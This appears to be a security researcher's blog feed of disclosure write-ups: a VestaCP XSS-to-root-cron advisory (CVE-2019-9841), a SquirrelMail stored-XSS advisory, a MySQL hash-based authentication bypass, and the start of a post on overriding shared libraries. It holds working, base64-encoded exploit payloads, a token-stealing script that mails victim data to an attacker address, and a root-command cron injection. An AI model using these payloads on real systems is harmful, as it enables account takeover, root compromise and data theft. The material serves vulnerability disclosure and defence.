<span class="kd">const</span> <span class="nx">payload</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">id >/usr/local/vesta/web/proof</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">config</span> <span class="o">=</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="s2">`* * * * * root </span><span class="p">${</span><span class="nx">payload</span><span class="p">}</span><span class="s2">\n`</span><span class="p">);</span>
<span class="c1">// replace the cron config file</span>
<span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/edit/server/cron/</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
<span class="na">credentials</span><span class="p">:</span> <span class="dl">'</span><span class="s1">include</span><span class="dl">'</span><span class="p">,</span>
<span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
<span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">'</span><span class="s1">content-type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span>
<span class="p">},</span>
<span class="na">body</span><span class="p">:</span> <span class="s2">`token=</span><span class="p">${</span><span class="nx">token</span><span class="p">}</span><span class="s2">&v_config=</span><span class="p">${</span><span class="nx">config</span><span class="p">}</span><span class="s2">&v_restart=on&save=Save`</span>
<span class="p">});</span>
<span class="p">})();</span>
</code></pre></div></div>
<p>For completeness, this is the URL that the victim administrator needs to follow in order to trigger the PoC:</p>
<!-- C-u M-| terser | base64 -w0 | sed 's/+/%2b/g' -->
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://target.com:8083/file_manager/fm_api.php?action=check_file_type&dir=<img+src=x+onerror=eval(atob('KGFzeW5jKCk9Pntjb25zdCByZXF1ZXN0PWF3YWl0IGZldGNoKCIvIix7Y3JlZGVudGlhbHM6ImluY2x1ZGUifSk7Y29uc3QgdGV4dD1hd2FpdCByZXF1ZXN0LnRleHQoKTtjb25zdCB0b2tlbj10ZXh0Lm1hdGNoKC90b2tlbj0iKFteIl0rKSIvKVsxXTtjb25zdCBwYXlsb2FkPSJpZCA%2bL3Vzci9sb2NhbC92ZXN0YS93ZWIvcHJvb2YiO2NvbnN0IGNvbmZpZz1lbmNvZGVVUklDb21wb25lbnQoYCogKiAqICogKiByb290ICR7cGF5bG9hZH1cbmApO2ZldGNoKCIvZWRpdC9zZXJ2ZXIvY3Jvbi8iLHtjcmVkZW50aWFsczoiaW5jbHVkZSIsbWV0aG9kOiJQT1NUIixoZWFkZXJzOnsiY29udGVudC10eXBlIjoiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIn0sYm9keTpgdG9rZW49JHt0b2tlbn0mdl9jb25maWc9JHtjb25maWd9JnZfcmVzdGFydD1vbiZzYXZlPVNhdmVgfSl9KSgpOwo='))+/>
</code></pre></div></div>
<p>After one minute check that the proof file is created in the web server root:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-k</span> https://target.com:8083/proof
<span class="go">uid=0(root) gid=0(root) groups=0(root)
</span></code></pre></div></div>
<h2 id="timeline">Timeline</h2>
<dl>
<dt>2019-03-15</dt>
<dd>Disclosed to the VestaCP team.</dd>
<dt>2019-03-15</dt>
<dd>MITRE assigns <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9841">CVE-2019-9841</a> to this vulnerability.</dd>
<dt>2019-04-12</dt>
<dd>The VestaCP team <a href="https://github.com/serghey-rodin/vesta/commit/c28c5d29a3c61bc8110c11349e3f2309cd537cfa">fixes</a> the vulnerability.</dd>
<dt>2019-04-15</dt>
<dd>The VestaCP team <a href="https://github.com/serghey-rodin/vesta/commit/e674bf14fd401f419223f1dd06a6e381a3c188a2">releases</a> version 0.9.8-24.</dd>
</dl>Andrea Cardacicyrus.and@gmail.comAbstractSquirrelMail 1.4.22 — Stored XSS in received emails2019-03-19T00:00:00+00:002019-03-19T00:00:00+00:00https://cardaci.xyz/advisories/2019/03/19/squirrelmail-1.4.22-stored-xss-in-received-emails<h2 id="abstract">Abstract</h2>
<p>SquirrelMail allows to display HTML messages provided that <em>non-safe</em> fragments are redacted. An input sanitization vulnerability that can be exploited to perform stored cross-site scripting (XSS) attacks has been discovered.</p>
<p>A remote attacker can send a specially crafted email containing malicious HTML and execute arbitrary JavaScript code in the context of the vulnerable webmail interface when the user displays the message. This basically grants the attacker the same privileges of the authenticated victim, in particular this enables to (among other things): send email messages on the behalf of the victim, fetch conversations from folders, delete or otherwise manage messages, log the victim out of SquirrelMail, etc.</p>
<p>It is likely that even prior versions are affected since this does not appear to be a regression but merely an insufficient implementation.</p>
<h2 id="details">Details</h2>
<p>The HTML sanitizer uses a blacklist approach based on tag and attributes names to recognize potentially <em>dangerous</em> HTML code and decide how to <em>fix it</em>, for example, attributes starting with <code class="language-plaintext highlighter-rouge">on</code> are removed as they usually represent events. In particular, the <code class="language-plaintext highlighter-rouge"><script></code> element is deleted and the <code class="language-plaintext highlighter-rouge">href</code> attribute can only assume certain schemes (e.g., not <code class="language-plaintext highlighter-rouge">javascript:</code>) otherwise it is replaced with a void image URL.</p>
<p>It is possible to bypass these checks by using the SVG counterpart of the <code class="language-plaintext highlighter-rouge"><a></code> and <code class="language-plaintext highlighter-rouge"><script></code> elements. This variant exposes the <code class="language-plaintext highlighter-rouge">href</code> attribute as part of the <code class="language-plaintext highlighter-rouge">xlink</code> namespace (for the <a href="https://www.w3.org/TR/SVG11/script.html#ScriptElementHrefAttribute">latter</a> it allows to specify the resource containing the script code) therefore it can be accessed with <code class="language-plaintext highlighter-rouge">xlink:href</code> which is ignored by SquirrelMail. Moreover, in this context <code class="language-plaintext highlighter-rouge"><script></code> can be <em>self-closing</em> and the lack of closing tag is enough to deceive the sanitizer.</p>
<p>Two methods have been devised, to maximize the chances of success, an attacker could employ both.</p>
<h3 id="no-user-action-required">No user action required</h3>
<p>This solution only works with Firefox and Edge<sup id="fnref:firefox-edge" role="doc-noteref"><a href="#fn:firefox-edge" class="footnote" rel="footnote">1</a></sup> and requires no additional interaction from of the user:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><svg><script</span> <span class="na">xlink:href=</span><span class="s">"data:text/javascript,alert(1)"</span><span class="nt">/></svg></span>
<span class="nt"><svg><script</span> <span class="na">xlink:href=</span><span class="s">"data:text/javascript;base64,YWxlcnQoMSk="</span><span class="nt">/></svg></span>
</code></pre></div></div>
<p>Arbitrarily complex code can be deployed by using the <code class="language-plaintext highlighter-rouge">Base64</code> format of the Data URL scheme.</p>
<h3 id="user-action-required">User action required</h3>
<p>This solution has been tested with all major browsers and requires the user to click on an anchor element:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><svg></span>
<span class="nt"><a</span> <span class="na">xlink:href=</span><span class="s">"javascript:alert(1)"</span><span class="nt">></span>
<span class="nt"><text</span> <span class="na">y=</span><span class="s">"1em"</span><span class="nt">></span>CLICK ME<span class="nt"></text></span>
<span class="nt"></a></span>
<span class="nt"></svg></span>
<span class="nt"><svg></span>
<span class="nt"><a</span> <span class="na">xlink:href=</span><span class="s">"javascript:eval(atob('YWxlcnQoMSk='))"</span><span class="nt">></span>
<span class="nt"><text</span> <span class="na">y=</span><span class="s">"1em"</span><span class="nt">></span>CLICK ME<span class="nt"></text></span>
<span class="nt"></a></span>
<span class="nt"></svg></span>
</code></pre></div></div>
<p>Arbitrarily complex code can be deployed by evaluating a decoded <code class="language-plaintext highlighter-rouge">Base64</code> string.</p>
<p>Additionally, to mimic the look and feel of a regular link, the following attributes of the <code class="language-plaintext highlighter-rouge">text</code> element can be used:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fill="#0000cc" text-decoration="underline" cursor="pointer"
</code></pre></div></div>
<h4 id="a-note-about-firefox">A note about Firefox</h4>
<p>The HTML sanitizer adds the <code class="language-plaintext highlighter-rouge">target="_blank"</code> attribute to links, in Firefox this means that even <code class="language-plaintext highlighter-rouge">javascript:</code> URLs are evaluated in a new tab. Luckily it is possible to obtain the original frame using the <code class="language-plaintext highlighter-rouge">window.opener</code> property and possibly close the new window afterwards.</p>
<p>To increase the chances of success the JavaScript payload should look like this:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// get the real window</span>
<span class="kd">const</span> <span class="nx">_window</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">opener</span> <span class="o">||</span> <span class="nb">window</span><span class="p">;</span>
<span class="c1">// ...</span>
<span class="c1">// close the new window, if any</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">opener</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">close</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="limitations">Limitations</h2>
<p>The HTML visualization of messages in SquirrelMail is not enabled by default, users of the stable version need to enable it globally<sup id="fnref:html-option" role="doc-noteref"><a href="#fn:html-option" class="footnote" rel="footnote">2</a></sup> whereas in the development version it can also be toggled for single messages<sup id="fnref:html-toggle" role="doc-noteref"><a href="#fn:html-toggle" class="footnote" rel="footnote">3</a></sup>. Nowadays HTML emails are sadly widespread so it is reasonable to assume that most users are willing to properly display them.</p>
<h2 id="proof-of-concept">Proof of concept</h2>
<p>This proof of concept (PoC) shows how it is possible to trick SquirrelMail in sending arbitrary emails on the behalf of a SquirrelMail user.</p>
<p>To prevent cross-site request forgery, SquirrelMail employs per-user security tokens, this is not a problem in this scenario since the valid token can be easily obtained from the current page using this JavaScript snippet:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span>
<span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">a[href^="/src/delete_message.php"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">href</span>
<span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/.*smtoken=</span><span class="se">([^</span><span class="sr">&</span><span class="se">]</span><span class="sr">+</span><span class="se">)</span><span class="sr">.*/</span><span class="p">)[</span><span class="mi">1</span><span class="p">];</span>
</code></pre></div></div>
<p>The administrator may decide to enable a per-action token generation instead<sup id="fnref:no-single-token" role="doc-noteref"><a href="#fn:no-single-token" class="footnote" rel="footnote">4</a></sup>, in this case a token can be obtained with:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">input[name="smtoken"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
</code></pre></div></div>
<p>The following JavaScript payload takes into account the aforementioned considerations:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
<span class="k">async</span> <span class="kd">function</span> <span class="nx">send</span><span class="p">(</span><span class="nx">data</span><span class="p">,</span> <span class="nx">to</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// get the real document</span>
<span class="kd">const</span> <span class="nx">_window</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">opener</span> <span class="o">||</span> <span class="nb">window</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">_document</span> <span class="o">=</span> <span class="nx">_window</span><span class="p">.</span><span class="nb">document</span><span class="p">;</span>
<span class="c1">// fetch the security token from the current page</span>
<span class="kd">let</span> <span class="nx">token</span><span class="p">;</span>
<span class="k">try</span> <span class="p">{</span>
<span class="nx">token</span> <span class="o">=</span> <span class="nx">_document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">a[href^="/src/delete_message.php"]</span><span class="dl">'</span><span class="p">)</span>
<span class="p">.</span><span class="nx">href</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/.*smtoken=</span><span class="se">([^</span><span class="sr">&</span><span class="se">]</span><span class="sr">+</span><span class="se">)</span><span class="sr">.*/</span><span class="p">)[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{}</span>
<span class="k">try</span> <span class="p">{</span>
<span class="nx">token</span> <span class="o">=</span> <span class="nx">_document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">input[name="smtoken"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{}</span>
<span class="c1">// prepare the form data</span>
<span class="kd">const</span> <span class="nx">form</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FormData</span><span class="p">();</span>
<span class="nx">form</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">smtoken</span><span class="dl">'</span><span class="p">,</span> <span class="nx">token</span><span class="p">);</span>
<span class="nx">form</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">send_to</span><span class="dl">'</span><span class="p">,</span> <span class="nx">to</span><span class="p">);</span>
<span class="nx">form</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">body</span><span class="dl">'</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span>
<span class="nx">form</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">identity</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">0</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">form</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">send</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Send</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">form</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">send1</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Send</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">form</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">send_button_count</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">1</span><span class="dl">'</span><span class="p">);</span>
<span class="c1">// send the message</span>
<span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">_window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">origin</span><span class="p">}</span><span class="s2">/src/compose.php`</span><span class="p">,</span> <span class="p">{</span>
<span class="na">credentials</span><span class="p">:</span> <span class="dl">'</span><span class="s1">include</span><span class="dl">'</span><span class="p">,</span>
<span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
<span class="na">body</span><span class="p">:</span> <span class="nx">form</span>
<span class="p">});</span>
<span class="c1">// close the new window if needed</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">opener</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">close</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">EXFILTRATED_DATA</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">attacker@localhost</span><span class="dl">'</span><span class="p">);</span>
<span class="p">})()</span>
</code></pre></div></div>
<p>The payload<sup id="fnref:remote-attacker" role="doc-noteref"><a href="#fn:remote-attacker" class="footnote" rel="footnote">5</a></sup> can be <code class="language-plaintext highlighter-rouge">Base64</code>-encoded and the HTML message can be crafted as follows:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><svg><script</span> <span class="na">xlink:href=</span><span class="s">"data:text/javascript;base64,KGZ1bmN0aW9uKCkge2FzeW5jIGZ1bmN0aW9uIHNlbmQoZGF0YSwgdG8pIHtjb25zdCBfd2luZG93ID0gd2luZG93Lm9wZW5lciB8fCB3aW5kb3c7IGNvbnN0IF9kb2N1bWVudCA9IF93aW5kb3cuZG9jdW1lbnQ7IGxldCB0b2tlbjsgdHJ5IHt0b2tlbiA9IF9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdhW2hyZWZePSIvc3JjL2RlbGV0ZV9tZXNzYWdlLnBocCJdJykuaHJlZi5tYXRjaCgvLipzbXRva2VuPShbXiZdKykuKi8pWzFdO30gY2F0Y2ggKGVycikge30gdHJ5IHt0b2tlbiA9IF9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdpbnB1dFtuYW1lPSJzbXRva2VuIl0nKS52YWx1ZTt9IGNhdGNoIChlcnIpIHt9IGNvbnN0IGZvcm0gPSBuZXcgRm9ybURhdGEoKTsgZm9ybS5hcHBlbmQoJ3NtdG9rZW4nLCB0b2tlbik7IGZvcm0uYXBwZW5kKCdzZW5kX3RvJywgdG8pOyBmb3JtLmFwcGVuZCgnYm9keScsIGRhdGEpOyBmb3JtLmFwcGVuZCgnaWRlbnRpdHknLCAnMCcpOyBmb3JtLmFwcGVuZCgnc2VuZCcsICdTZW5kJyk7IGZvcm0uYXBwZW5kKCdzZW5kMScsICdTZW5kJyk7IGZvcm0uYXBwZW5kKCdzZW5kX2J1dHRvbl9jb3VudCcsICcxJyk7IGF3YWl0IGZldGNoKGAke193aW5kb3cubG9jYXRpb24ub3JpZ2lufS9zcmMvY29tcG9zZS5waHBgLCB7Y3JlZGVudGlhbHM6ICdpbmNsdWRlJywgbWV0aG9kOiAnUE9TVCcsIGJvZHk6IGZvcm19KTsgaWYgKHdpbmRvdy5vcGVuZXIpIHtjbG9zZSgpO319IHNlbmQoJ0VYRklMVFJBVEVEX0RBVEEnLCAnYXR0YWNrZXJAbG9jYWxob3N0Jyk7fSkoKQ=="</span><span class="nt">/></svg></span>
<span class="nt"><svg><a</span> <span class="na">xlink:href=</span><span class="s">"javascript:eval(atob('KGZ1bmN0aW9uKCkge2FzeW5jIGZ1bmN0aW9uIHNlbmQoZGF0YSwgdG8pIHtjb25zdCBfd2luZG93ID0gd2luZG93Lm9wZW5lciB8fCB3aW5kb3c7IGNvbnN0IF9kb2N1bWVudCA9IF93aW5kb3cuZG9jdW1lbnQ7IGxldCB0b2tlbjsgdHJ5IHt0b2tlbiA9IF9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdhW2hyZWZePSIvc3JjL2RlbGV0ZV9tZXNzYWdlLnBocCJdJykuaHJlZi5tYXRjaCgvLipzbXRva2VuPShbXiZdKykuKi8pWzFdO30gY2F0Y2ggKGVycikge30gdHJ5IHt0b2tlbiA9IF9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdpbnB1dFtuYW1lPSJzbXRva2VuIl0nKS52YWx1ZTt9IGNhdGNoIChlcnIpIHt9IGNvbnN0IGZvcm0gPSBuZXcgRm9ybURhdGEoKTsgZm9ybS5hcHBlbmQoJ3NtdG9rZW4nLCB0b2tlbik7IGZvcm0uYXBwZW5kKCdzZW5kX3RvJywgdG8pOyBmb3JtLmFwcGVuZCgnYm9keScsIGRhdGEpOyBmb3JtLmFwcGVuZCgnaWRlbnRpdHknLCAnMCcpOyBmb3JtLmFwcGVuZCgnc2VuZCcsICdTZW5kJyk7IGZvcm0uYXBwZW5kKCdzZW5kMScsICdTZW5kJyk7IGZvcm0uYXBwZW5kKCdzZW5kX2J1dHRvbl9jb3VudCcsICcxJyk7IGF3YWl0IGZldGNoKGAke193aW5kb3cubG9jYXRpb24ub3JpZ2lufS9zcmMvY29tcG9zZS5waHBgLCB7Y3JlZGVudGlhbHM6ICdpbmNsdWRlJywgbWV0aG9kOiAnUE9TVCcsIGJvZHk6IGZvcm19KTsgaWYgKHdpbmRvdy5vcGVuZXIpIHtjbG9zZSgpO319IHNlbmQoJ0VYRklMVFJBVEVEX0RBVEEnLCAnYXR0YWNrZXJAbG9jYWxob3N0Jyk7fSkoKQ=='))"</span><span class="nt">><text</span> <span class="na">fill=</span><span class="s">"#0000cc"</span> <span class="na">text-decoration=</span><span class="s">"underline"</span> <span class="na">cursor=</span><span class="s">"pointer"</span> <span class="na">y=</span><span class="s">"1em"</span><span class="nt">></span>CLICK ME<span class="nt"></text></a></svg></span>
</code></pre></div></div>
<p>It is likewise possible to retrieve sensitive data by fetching the proper URL<sup id="fnref:url-differences" role="doc-noteref"><a href="#fn:url-differences" class="footnote" rel="footnote">6</a></sup>, for example:</p>
<ul>
<li>
<p><code class="language-plaintext highlighter-rouge">/src/right_main.php?showall=1&mailbox=INBOX</code> to obtain the message list;</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">/src/read_body.php?mailbox=INBOX&passed_id=<messageid></code> to obtain the message content.</p>
</li>
</ul>
<p>A possible attack scenario would be to fetch all the message identifiers from the first URL, then use the second to fetch individual messages and finally use the above <code class="language-plaintext highlighter-rouge">send</code> function to exfiltrate this data<sup id="fnref:not-in-poc" role="doc-noteref"><a href="#fn:not-in-poc" class="footnote" rel="footnote">7</a></sup>.</p>
<h3 id="bonus-scenario">Bonus scenario</h3>
<p>Another interesting attack scenario takes advantage of the fact that browsers prompt to save the login credentials, the attacker could craft a fake and invisible login form to harvest them. This is particularly worrisome if SquirrelMail is used as a system mail interface where credentials are actual system credentials that might grant access to other services, e.g., SSH, FTP, etc.</p>
<h2 id="countermeasures">Countermeasures</h2>
<p>Users should refrain from displaying HTML emails in SquirrelMail until a proper fix is available.</p>
<h2 id="timeline">Timeline</h2>
<dl>
<dt>2017-12-23</dt>
<dd>First contact with SecuriTeam Secure Disclosure (SSD).</dd>
<dt>2018-01-08</dt>
<dd>Disclosure via the SSD program.</dd>
<dt>2018-04-19</dt>
<dd>SSD grants the reward.</dd>
<dt>2019-02-23</dt>
<dd>SquirrelMail development team fixes the issue.</dd>
<dt>2019-03-19</dt>
<dd>SSD publishes the <a href="https://ssd-disclosure.com/index.php/archives/3928">advisory</a>.</dd>
</dl>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:firefox-edge" role="doc-endnote">
<p>Tested with Firefox version 57.0.1 and Edge version 41.16299.15.0. Apparently, this is a <a href="https://www.w3.org/TR/html/syntax.html#start-tags">specification</a> misinterpretation by Chrome and others. <a href="#fnref:firefox-edge" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:html-option" role="doc-endnote">
<p>Options -> Display Preferences -> Show HTML Version by Default; this vulnerability can also be used to set this option once triggered the first time. <a href="#fnref:html-option" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:html-toggle" role="doc-endnote">
<p>Because the “View as HTML” plugin has been included in that version. <a href="#fnref:html-toggle" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:no-single-token" role="doc-endnote">
<p>By setting <code class="language-plaintext highlighter-rouge">$do_not_use_single_token</code> to <code class="language-plaintext highlighter-rouge">TRUE</code> in <code class="language-plaintext highlighter-rouge">config/config_local.php</code>. <a href="#fnref:no-single-token" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:remote-attacker" role="doc-endnote">
<p>The destination account does not need to be on the same server, <code class="language-plaintext highlighter-rouge">attacker@localhost</code> is used just for the sake of the example. <a href="#fnref:remote-attacker" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:url-differences" role="doc-endnote">
<p>These URLs may differ across versions. <a href="#fnref:url-differences" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:not-in-poc" role="doc-endnote">
<p>Not implemented in this PoC for the sake of brevity. <a href="#fnref:not-in-poc" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>Andrea Cardacicyrus.and@gmail.comAbstractAuthenticate against a MySQL server without knowing the cleartext password2018-12-22T00:00:00+00:002018-12-22T00:00:00+00:00https://cardaci.xyz/blog/2018/12/22/authenticate-against-a-mysql-server-without-knowing-the-cleartext-password<p>This post is based on the README of the <a href="https://github.com/cyrus-and/mysql-unsha1"><code class="language-plaintext highlighter-rouge">mysql-unsha1</code></a> (March 2017) project that also contains the handshake sniffer and a patch for the MySQL client, go <a href="https://github.com/cyrus-and/mysql-unsha1#tools">here</a> if you just need the tools.</p>
<p>This has also been featured on the SANS Internet Storm Center <a href="https://www.youtube.com/watch?v=61ksUqvpOXQ">podcast</a>.</p>
<h2 id="abstract">Abstract</h2>
<p>This PoC shows how it is possible to authenticate against a MySQL server under certain circumstances without knowing the cleartext password when the <a href="https://dev.mysql.com/doc/internals/en/secure-password-authentication.html">Secure Password Authentication</a> authentication plugin (aka <code class="language-plaintext highlighter-rouge">mysql_native_password</code>, the default method) is used.</p>
<p>Preconditions are:</p>
<ul>
<li>
<p>to obtain a read-only access to the <code class="language-plaintext highlighter-rouge">mysql.user</code> table in the target database in order to fetch the hashed password for a given user;</p>
</li>
<li>
<p>to be able to intercept a successful authentication handshake performed by the aforementioned user (i.e., <a href="https://dev.mysql.com/doc/internals/en/ssl.html">authentication via SSL</a> would nullify this attempt).</p>
</li>
</ul>
<p>The above are quite strong propositions, but this attack could provide an alternative way to obtain database access in a completely stealth way.</p>
<h2 id="mysql-server-passwords">MySQL server passwords</h2>
<p>By default, passwords are stored in the <code class="language-plaintext highlighter-rouge">mysql.user</code> table and are hashed using the <code class="language-plaintext highlighter-rouge">PASSWORD</code> function which is just a two-stage SHA1 digest:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19
</code></pre></div></div>
<h2 id="the-handshake">The handshake</h2>
<p>After the TCP connection phase, initiated by the client, the MySQL authentication <a href="https://dev.mysql.com/doc/internals/en/plain-handshake.html">handshake</a> continues as follows (simplified):</p>
<ol>
<li>
<p>the server sends a <code class="language-plaintext highlighter-rouge">Server Greeting</code> packet containing a <em>salt</em> (<code class="language-plaintext highlighter-rouge">s</code>);</p>
</li>
<li>
<p>the client replies with a <code class="language-plaintext highlighter-rouge">Login Request</code> packet containing the session password (<code class="language-plaintext highlighter-rouge">x</code>), computed as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
</code></pre></div> </div>
<p>where <code class="language-plaintext highlighter-rouge">password</code> is the cleartext password as provided by the user and <code class="language-plaintext highlighter-rouge">+</code> is a mere string concatenation operator;</p>
</li>
<li>
<p>the server can verify the <em>challenge</em> and authenticate the client if:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
</code></pre></div> </div>
<p>where <code class="language-plaintext highlighter-rouge">SHA1(SHA1(password))</code> is the two-stage SHA1 digest of the password, stored in the <code class="language-plaintext highlighter-rouge">mysql.user</code> table; the server does not know the cleartext password nor its SHA1 digest.</p>
</li>
</ol>
<h2 id="computing-the-hashed-password">Computing the hashed password</h2>
<p>With enough information an attacker is able to obtain <code class="language-plaintext highlighter-rouge">SHA1(password)</code> and therefore to solve the server challenge without the knowledge of the cleartext password.</p>
<p>Let:</p>
<ul>
<li>
<p><code class="language-plaintext highlighter-rouge">h</code> be the hashed password obtained from the <code class="language-plaintext highlighter-rouge">mysql.user</code> table (i.e., <code class="language-plaintext highlighter-rouge">SHA1(SHA1(password))</code>);</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">s</code> and <code class="language-plaintext highlighter-rouge">x</code> be the salt and the session password respectively obtained from the intercepted handshake.</p>
</li>
</ul>
<p>The first-stage SHA1 can be obtained as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SHA1(password) = x XOR SHA1(s + h)
</code></pre></div></div>
<h2 id="tools">Tools</h2>
<p><code class="language-plaintext highlighter-rouge">mysql-unsha1</code> comes with two tools:</p>
<ul>
<li>
<p>a simple sniffer to extract and check the handshake information either live or offline from a PCAP file;</p>
</li>
<li>
<p>a patch for MySQL client which allows to treat the prompted passwords as SHA1 digests instead of cleartexts.</p>
</li>
</ul>
<p>Refer to the <a href="https://github.com/cyrus-and/mysql-unsha1#tools">GitHub repository</a> for compilation and usage instructions.</p>Andrea Cardacicyrus.and@gmail.comThis post is based on the README of the mysql-unsha1 (March 2017) project that also contains the handshake sniffer and a patch for the MySQL client, go here if you just need the tools.Overriding shared libraries in immediately-bound executables on Linux2018-03-01T00:00:00+00:002018-03-01T00:00:00+00:00https://cardaci.xyz/blog/2018/03/01/overriding-shared-libraries-in-immediately-bound-executables-on-linux<h2 id="scenario">Scenario</h2>
<p>Imagine a vulnerable program that loads its shared libraries from a relative location (or any other path that is writable by the attacker), the common trick is to craft a shared library having the same name as one of those required by the program and include an <em>initializer</em> function that, say, drops a shell as soon as the library is loaded.</p>
<p>This works nicely if the program resolves the symbols <em>lazily</em> (the default), i.e., according to the program flow and not at loading time.</p>
<p>If that’s not the case, the above attack is not feasible as the program expects all the known symbols to be present in the rogue library too<sup id="fnref:dlopen" role="doc-noteref"><a href="#fn:dlopen" class="footnote" rel="footnote">1</a></sup>.</p>
